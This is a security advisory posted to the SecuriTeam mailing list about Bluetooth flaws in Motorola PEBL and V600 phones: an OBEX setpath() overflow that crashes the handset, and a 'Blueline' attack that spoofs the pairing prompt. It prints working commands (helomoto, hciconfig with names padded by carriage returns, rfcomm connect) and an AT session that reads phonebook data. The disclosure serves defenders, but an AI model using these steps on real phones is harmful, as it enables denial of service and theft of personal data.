The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Motorola P2K Platform setpath() Overflow and Blueline Attack
------------------------------------------------------------------------
SUMMARY
" <http://www.motorola.com/motoinfo/product/details/0,,11,00.html>
Motorola V600 cellular phone is a sleek statement of sophistication and
intelligence for mobile trendsetters who demand the very best."
" <http://www.motorola.com/motoinfo/product/details/0,,87,00.html>
Motorola PEBL elevates mobile design to a new level. "
Improper bluetooth handling allows attackers to DoS Motorola P2K phones,
and execute arbitrary code.
DETAILS
Vulnerable Systems:
* Motorola PEBL U6
* Motorola V600
Each of the phones has exhibited interesting behavior with regard to
Bluetooth functionality.
The PEBL handset is subject to a post-authentication Buffer Overflow via
OBEX File Transfer. Both phones are also vulnerable to a
pre-authentication user interface spoofing issue. This document seeks to
inform Motorola users about the issues at hand and to describe both issues
in detail.
The following file transfer service is available on channel 9 of PEBL:
Service Name: OBEX File Transfer
Service Description: OBEX File Transfer
Service Provider: T-Mobile
Service RecHandle: 0x10009
Service Class ID List:
"OBEX File Transfer" (0x1106)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 9
"OBEX" (0x0008)
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
code_ISO639: 0x6672
encoding: 0x6a
base_offset: 0xc800
code_ISO639: 0x6573
encoding: 0x6a
base_offset: 0xc803
code_ISO639: 0x7074
encoding: 0x6a
base_offset: 0xc806
Profile Descriptor List:
"OBEX File Transfer" (0x1106)
Version: 0x0100
After pairing with the phone an attacker can send a long OBEX setpath()
and completely crash the handset. The user interface will go completely
unresponsive and any active calls will be dropped. After about 15 to 20
seconds the device completely turns off. The user must push the power
button in order to use the device further. Code execution may be possible
however the debugging capabilities on the PEBL are minimal. Access to
Motorola debugging tools may provide further information about the
possibility of code execution.
The next issue involves a bit of social engineering complements of the
Motorola Bluetooth user interface. The PEBL (and the V600?) offers 2 voice
gateways, one requires pairing and one does not. The "Headset Audio
Gateway" on channel 3 does not require pairing before a connection can be
made. Because of this an attacker main gain extra access to the phone if a
user can be convinced to press "Grant".
Keep in mind that if the attackers phone has not yet been added to the
"Device History" list it will be unable to connect to channel 3. A simple
HeloMoto attack on port 8 will help eliminate this requirement however.
# ./helomoto plant 00:15:A8:74:87:3E 8
You can find more information about Helo moto in the following locations.
<http://trifinite.org/Downloads/helomoto.tgz>
http://trifinite.org/Downloads/helomoto.tgz
<http://trifinite.org/trifinite_stuff_helomoto.html>
http://trifinite.org/trifinite_stuff_helomoto.html
The following profile ultimately allows the UI spoofing to occur.
Service Name: Voice Gateway
Service Description: Headset Audio Gateway
Service Provider: T-Mobile
Service RecHandle: 0x10003
Service Class ID List:
"Headset Audio Gateway" (0x1112)
"Generic Audio" (0x1203)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 3
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
code_ISO639: 0x6672
encoding: 0x6a
base_offset: 0xc800
code_ISO639: 0x6573
encoding: 0x6a
base_offset: 0xc803
code_ISO639: 0x7074
encoding: 0x6a
base_offset: 0xc806
Profile Descriptor List:
"Headset" (0x1108)
Version: 0x0100
Please note that this profile does require that the user accept an inbound
connection. The following message pops up under normal circumstances when
channel 3 is contacted:
Remote Bluetooth Device Name
Requests Voice Gateway?
(Grant or Deny)
Although the user if prompted for the connection I have found that the
user interface will respond interestingly to the 0x0d character. With a
bit of creativity we can perhaps trick a user into accepting our
connection request.
# hciconfig hci0 name `echo -e "A\x0dB\x0dC\x0dD\x0dE\x0dF\x0dG"`
# rfcomm connect 0 00:15:A8:74:87:3E 3
The above command will result in the following message being displayed on
screen:
A
B
C
D
E
F ...
(Grant or Deny)
Six new line characters seem to be enough to push the factory default
message off of the screen of the handset. We can obviously be more
creative...
# hciconfig hci0 name `perl -e 'print
"Press\x0dgrant\x0dto\x0ddisable\x0dmute\x0d\x0d"'`
# rfcomm connect 0 00:15:A8:74:87:3E 3 (wait for user to press grant)
Connected /dev/rfcomm0 to 00:15:A8:74:87:3E on channel 3
Press CTRL-C for hangup
On the Motorola handset we get
Press
grant
to
disable
mute
(Grant or Deny)
An actual screen shot from the phone during an attack can be found here:
<http://www.digitalmunition.com/P1010048.JPG>
http://www.digitalmunition.com/P1010048.JPG
Once connected to the Audio Gateway the attacker will have AT level access
to the phone.
Access to personal information such as Phone book entries and SMS data are
up for grabs at this point.
Connected /dev/rfcomm0 to 00:15:A8:74:87:3E on channel 3
Press CTRL-C for hangup
ATE1
OK
AT+GMI
+GMI: "Motorola CE, Copyright 2000"
OK
AT+GMM
+GMM: "GSM900","GSM1800","GSM1900","GSM850","MODEL=PEBL U6"
OK
AT+GMR
+GMR: "R478_G_08.83.76R"
OK
AT+CPMS=MT
+CPMS: 14,254
OK
AT+CPBR=1
+CPBR: 1,"13133742069",129,"Stroke - milw0rm"
Since 0x0d is commonly used as a newline character I am going to label
this a "Blueline" attack (I am a hockey fan what can I say).
The Motorola V600 also appears to be vulnerable to this attack. Like the
PEBL the attacker must first be in the phones "Device History" or the
phone must first be exploited via the HeloMoto attack. RAZRv3 also
exhibited similar UI behavior however other factors did not make it
immediately viable for an attack scenario. (Thanks Marcel and Adam). As a
final side note it is worth mentioning that Tonu Samuel (tonu@jes.ee) has
also confirmed similar issues on the Motorola E398 handset.
Vendor Response:
"Motorola is committed to providing the best consumer experience possible
and software performance is key to enabling that. At this point the fixes
for both issues have been incorporated into software for future phone
production. While it is possible to update the software on Motorola
phones, they do not currently have a mechanism to make the new software
available to consumers with existing phones.
Both issues have been identified via Motorola internal testing and
Motorola has developed fixes for these issue which they are incorporating
into their phone software moving forward.
Motorola evaluates the need for providing patches to existing phones on a
case by case basis, by working with their partners in the marketplace. If
there is a clear need for updates to existing phones, they will take
appropriate action.
Consumer satisfaction is the top priority for Motorola so they do what is
necessary to ensure that they deliver a quality experience. To that end,
Motorola has been focusing on prevention/ education, not just providing a
cure. Motorola is really interested in helping consumers learn how to use
Bluetooth technology safely... helping educate them on the simple things
they can do (like not making their phones discoverable in public) to make
their Bluetooth use safer. "
ADDITIONAL INFORMATION
The information has been provided by
<mailto:kf_lists@digitalmunition.com> KF.
The original article can be found at:
<http://www.digitalmunition.com/DMA[2006-0321a].txt>
http://www.digitalmunition.com/DMA[2006-0321a].txt
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
